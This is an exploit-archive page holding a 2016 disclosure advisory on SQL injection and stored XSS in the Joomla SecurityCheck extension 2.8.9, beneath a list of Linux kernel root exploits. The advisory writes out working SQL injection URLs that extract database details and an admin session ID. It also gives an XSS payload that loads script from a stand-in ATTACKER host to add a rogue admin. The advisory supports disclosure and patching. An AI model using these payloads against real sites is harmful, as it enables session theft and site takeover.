2dba371921
4 new exploits Linux Kernel 2.4 / 2.6 x86-64 - System Call Emulation Exploit Linux Kernel 2.4 / 2.6 (x86_64) - System Call Emulation Exploit Linux Kernel 2.6.x (<= 2.6.20 / <= 2.6.24 / <= 2.6.27_7-10) (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Exploit Linux Kernel 2.6.x (<= 2.6.20 / <= 2.6.24 / <= 2.6.27_7-10) (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Exploit Linux Kernel <= 2.6.24_16-23 / <= 2.6.28.3 (Ubuntu 8.04/8.10 & Fedora Core 10) (x86-64) - set_selection() UTF-8 Off By One Local Exploit Linux Kernel <= 2.6.24_16-23 / <= 2.6.28.3 (Ubuntu 8.04/8.10 & Fedora Core 10 x86_64) - set_selection() UTF-8 Off By One Local Exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6) - (32-bit) ip_append_data() ring0 Root Exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - ip_append_data() ring0 Root Exploit Linux Kernel < 2.6.36-rc4-git2 - x86_64 ia32syscall Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (x86_64) (Redhat) - compat Local Root Exploit Linux Kernel < 2.6.36-rc4-git2 (x86_64) - ia32syscall Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (Redhat x86_64) - compat Local Root Exploit Linux Kernel < 2.6.34 CAP_SYS_ADMIN x86 & x64 (Ubuntu 11.10) - Local Privilege Escalation Exploit (2) Linux Kernel < 2.6.34 (Ubuntu 11.10 x86 & x64) - CAP_SYS_ADMIN Local Privilege Escalation Exploit (2) Linux Kernel 2.6.39 <= 3.2.2 (32-bit & 64-bit) (Gentoo / Ubuntu) - Mempodipper Local Root (1) Linux Kernel 2.6.39 <= 3.2.2 (Gentoo / Ubuntu x86/x64) - Mempodipper Local Root (1) Linux Kernel < 3.3.x - 3.7.x (Arch Linux x86-64) - sock_diag_handlers[] Local Root Linux Kernel < 3.3.x - 3.7.x (Arch Linux x86_64) - sock_diag_handlers[] Local Root Linux Kernel <= 3.7.10 (Ubuntu 12.10) (64-Bit) - sock_diag_handlers Local Root Exploit Linux Kernel <= 3.7.10 (Ubuntu 12.10 x64) - sock_diag_handlers Local Root Exploit Linux Kernel < 3.8.9 - x86_64 perf_swevent_init Local Root Exploit Linux Kernel < 3.8.9 (x86_64) - perf_swevent_init Local Root Exploit Linux Kernel <= 3.7.6 (Redhat) (32bit/64bit) - 'MSR' Driver Local Privilege Escalation Linux Kernel <= 3.7.6 (Redhat x86/x64) - 'MSR' Driver Local Privilege Escalation Systrace 1.x (64-Bit) - Aware Linux Kernel Privilege Escalation Vulnerability Systrace 1.x (x64) - Aware Linux Kernel Privilege Escalation Vulnerability Linux Kernel 2.6.x - (64 bit) Personality Handling Local Denial of Service Vulnerability Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service Vulnerability Linux Kernel < 3.2.0-23 (Ubuntu 12.04) - ptrace/sysret Local Privilege Escalation Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - ptrace/sysret Local Privilege Escalation Linux Kernel 2.6.39 <= 3.2.2 (32-bit & 64-bit) - Mempodipper Local Root (2) Linux Kernel 2.6.39 <= 3.2.2 (x86/x64) - Mempodipper Local Root (2) Joomla SecurityCheck Extension 2.8.9 - Multiple Vulnerabilities Liferay CE < 6.2 CE GA6 - Stored XSS Relay Ajax Directory Manager relayb01-071706_ 1.5.1_ 1.5.3 - Unauthenticated File Upload Websockify (C Implementation) 0.8.0 - Buffer Overflow
58 lines
No EOL
2.2 KiB
Text
Executable file
58 lines
No EOL
2.2 KiB
Text
Executable file
Information
|
|
------------------------------
|
|
Advisory by ADEO Security Team
|
|
Name: Stored XSS and SQL Injection in Joomla SecurityCheck extension
|
|
Affected Software : SecurityCheck and SecurityCheck Pro
|
|
Vulnerable Versions: 2.8.9 (possibly below)
|
|
Vendor Homepage : https://securitycheck.protegetuordenador.com
|
|
Vulnerabilities Type : XSS and SQL Injection
|
|
Severity : High
|
|
Status : Fixed
|
|
|
|
Technical Details
|
|
------------------------------
|
|
PoC URLs for SQL Injection
|
|
|
|
For determining database, user and version.
|
|
|
|
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1
|
|
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1
|
|
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1
|
|
|
|
For steal admin's session ID (If admin is not online, page response with
|
|
attack detected string. If online, response with admin's session ID)
|
|
|
|
http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT
|
|
concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON
|
|
%23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %
|
|
23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1
|
|
|
|
PoC URLs for XSS
|
|
|
|
Add a new admin to website silently while admin checking SecurityCheck logs
|
|
|
|
http://website/index.php?option=<script>var script =
|
|
document.createElement('script');script.src = "http://ATTACKER/attack.js
|
|
";document.getElementsByTagName('head')[0].appendChild(script);</script>
|
|
|
|
attack.js
|
|
https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca
|
|
|
|
|
|
Disclosure Timeline
|
|
------------------------------
|
|
24/05/2016 SQL injection found
|
|
30/05/2016 Worked on one-shot exploit for SQLi
|
|
30/05/2016 While we were working on SQLi payload we also found XSS
|
|
31/05/2016 XSS payload prepared
|
|
31/05/2016 Vulnerability details and PoC sent to Protegetuordenador
|
|
31/05/2016 Vulnerabilities fixed in v2.8.10
|
|
|
|
Solution
|
|
------------------------------
|
|
Update to the latest version of SecurityCheck (2.8.10)
|
|
|
|
Credits
|
|
------------------------------
|
|
These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and
|
|
Muhammet Dilmac (muhammetdilmac.com.tr). |